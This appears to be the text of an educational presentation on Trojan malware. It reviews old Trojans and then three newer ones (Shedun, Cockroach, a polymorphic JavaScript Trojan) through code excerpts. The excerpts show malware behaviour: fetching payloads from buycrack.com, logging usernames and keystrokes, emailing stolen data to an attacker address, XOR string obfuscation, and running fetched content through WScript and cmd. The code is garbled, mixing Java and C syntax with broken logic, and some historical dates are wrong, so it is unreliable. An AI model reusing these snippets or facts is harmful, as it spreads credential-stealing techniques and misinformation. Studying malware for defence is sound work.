

The Wars in Your Machine: New Developments in Trojan Virus Engineering

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INTRODUCTION

Definition:

The Trojan Virus is a malicious computer program that is used to compromise a computer by fooling users about its real intent.

- Unlike computer viruses, or worms, the Trojan does not directly attack operating systems
- Modern forms act as a backdoor to grant access without authorization.
- Help attackers to break the confidentiality, integrity and availability of data
- Can cause a huge impact to both, private users and public organizations, such as exposing the user's credit card information, or other personal identity information (PII).

Method:

- In this study, we are reviewing and analyzing the actual code of three famous modern Trojans in order to learn their most common functions and goals.
- We use hackers' actual code stubs, obtained from public sources such as GitHub.

HISTORY OF TROJAN FUNCTIONALITY

Most common functionalities of old Trojan viruses:

- Large number of pop-ups to make users download software programs containing multiple harmful viruses.
- Upload and download software and data sharing.
- Reinstall the Trojan virus itself from the hidden infected files after removal.

Other typical functionalities:

- Modification or deletion of files.
- Data corruption.
- Spreading malware across the network.
- Infecting other connected devices on the network.

EXAMPLE: Spy Sheriff (1980)

- Ca. one million computer systems worldwide
- Appearance of a huge number of pop-ups, which warned users about the risks of their computer systems and the necessity to install the applications for solving the problem.
- Reinstalled itself from the hidden infected files.

EXAMPLE: Vundo (2010)

- Occupied a large number of memory of computer, so that it could generate lots of pop-ups to warn users the necessity of installing software programs which contained multiple harmful computer viruses.

THREE NEW TROJANS

Shedun: Android Trojan

- Runs on Android mobile devices; has been seen pre-installed on cellphones and tablets from China.
- Downloads and installs adware; launches popup advertisements
- Roughly 20,000 popular Android applications infected (Twitter, Facebook, Snapchat, etc.)

Analysis

```
try {
    localInputStream localInputStream = localInputStreamURLConnection.getInputStream();
    localInputStreamURLConnection.setConnectTimeout(5000);
    localInputStreamURLConnection.setReadTimeout(1000);
    localInputStreamURLConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.102 Mobile Safari/537.36");
    localInputStream = localInputStream.getInputStream();
    byte[] b = new byte[1024];
    int i = localInputStream.read(b);
    while (i != -1) {
        localOutputStream.close();
        String url = com.MinhasKamal TrojanCockroach.b.a(parameters.get("url") + File.separator + ".apk");
        if (!url.toLowerCase().equals("http://www.buycrack.com/")) {
            localOutputStream.write(b);
        }
    }
} catch (IOException e) {
    e.printStackTrace();
}
}
```

com.qq package:

- Download its content secretly in hidden ".p.apk".
- Change permission and install downloaded app.

- Change the permissions of application to grant whole authorizations to allow attackers to execute any code with root privileges.

```
44 const string baseUrl = "http://www.buycrack.com/";
45 void downloadFile(String url) {
46     try {
47         HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(baseUrl + url).openConnection();
48         httpURLConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.102 Mobile Safari/537.36");
49         httpURLConnection.setConnectTimeout(5000);
50         httpURLConnection.setReadTimeout(1000);
51         InputStream inputStream = httpURLConnection.getInputStream();
52         FileOutputStream outputStream = new FileOutputStream(new File(downloadPath + url));
53         return void;
54     } catch (IOException e) {
55         e.printStackTrace();
56     }
57 }
```

- Both files are malware.
- The .ext.base files require root permissions.

Cockroach Trojan

- Steals the sensitive data, such as user name, password, time, date, email, and every key stroke and emails the data back to the host.
- Spread among Windows PCs through USB drives.
- Very hard to detect with anti-virus software.

Analysis

```
140 * record user name time and date
141 *
142 void logUserTime() {
143     FILE *file = fopen(FILE_NAME, "a");
144     char username[256];
145     unsigned long username_len = 20;
146     GetUserName(username, &username_len);
147     time_t date = time(NULL);
148     sprintf(file, "%s\n", username, ctime(&date)); //write username, time and date in file
149     fclose(file);
150 }
```

- Transmit target email with Transmit.exe file.
- your.email@gmail.com is the attack email.
- Use SSL protocol to encrypt traffic.

Analysis

```
151 * small record using command
152 *
153 void sendData() {
154     char *command = "Transmit http://smtp.gmail.com:587 -v -sll -frc \"your.email@gmail.com\" -sll -rpt \"your.email@gmail.com\" -ssl
155     WNetSetOption(0, WNET_OPTION_CONTEXT_NAME, &command);
156 }
```

- "GetUserName": Record username and length.
- "fprintf": write all recorded information to FILE_NAME

```
156 * record key stroke
157 *
158 void logKey() {
159     FILE *file;
160     unsigned short ch, i, j=0;
161     while(j<=500) { //loop runs for 25 seconds
162         ch=getch();
163         while(ch<256) {
164             for(i=0; i<256; i++) {
165                 if(GetAsyncKeyState(ch) == -32767) { //when key is stroked
166                     file=fopen(FILE_NAME, "a");
167                     fprintf(file, "%d %c\n", i, ch);
168                     fclose(file);
169                 }
170             }
171             Sleep(4); //take a rest
172         }
173     }
174 }
```

- "GetAsyncKeyState": Record key strokes.
- Attacker can get the password when user is typing.

Polymorphic JavaScript Trojan

- Spread as email attachments
- In different emails, the cipher, string literals and variable names are different which makes itself less detectable.
- Meant to be run from disk, which gives it permissions to attack system globally.

Analysis

```
var insensatePKX = decode("AD4qig9E0H0qJwgvVwmm=");
var revZlyk8e = decode("G34Ri80q90AyUXY2Y=");
...
if (xiledjg) {
    enggeeged[toutFve](wandrervV + Math.pow(2, 19));
}
...
var decode = function(packdText) {
    var cipher = "m11fG0p0c7k497";
    var text = Base64.decode(packdText);
    var cipherLength = cipher.length;
    var result = "";
    for (var i = 0; i < text.length; i++) {
        result += String.fromCharCode(text.charCodeAt(i) ^ cipher.charCodeAt(i));
    }
    return result;
}
```

- "decode" function defined.

```
var secretShell = "M00rjg;shell";
var shellObj = WScript.CreateObject("WScript.Shell");
for (var i = 0; i < url.length; i++) {
    try {
        var url = url[i];
        httpObj.open("get", url, false);
        httpObj.send();
        if (httpObj.status == 200) {
            try {
                streamObj.open();
                streamObj.type = 1;
                streamObj.write(httpObj.responseText);
                if (streamObj.size > 1024) {
                    i = url.length;
                    streamObj.close();
                    streamObj.open(url + url[i]);
                    success = true;
                }
            } finally {
                streamObj.close();
            }
        } catch (ignored) {}
    }
}
if (success) {
    shellObj.run("cmd /c echo %* >> %*.txt");
}
```

- EXE file is malicious & will attack user system secretly.

CONCLUSION

- Compared to the old Trojan viruses, the new Trojan viruses are more armored, undetectable and sophisticated.
- Also, the new Trojan viruses can change the permission of the application and execute as the root to cause more damage than old Trojan viruses.
- Finally, the new Trojan virus can spy on the user's computer systems, and record sensitive data, such as user name, password, and email contents, to break the confidentiality of sensitive data.

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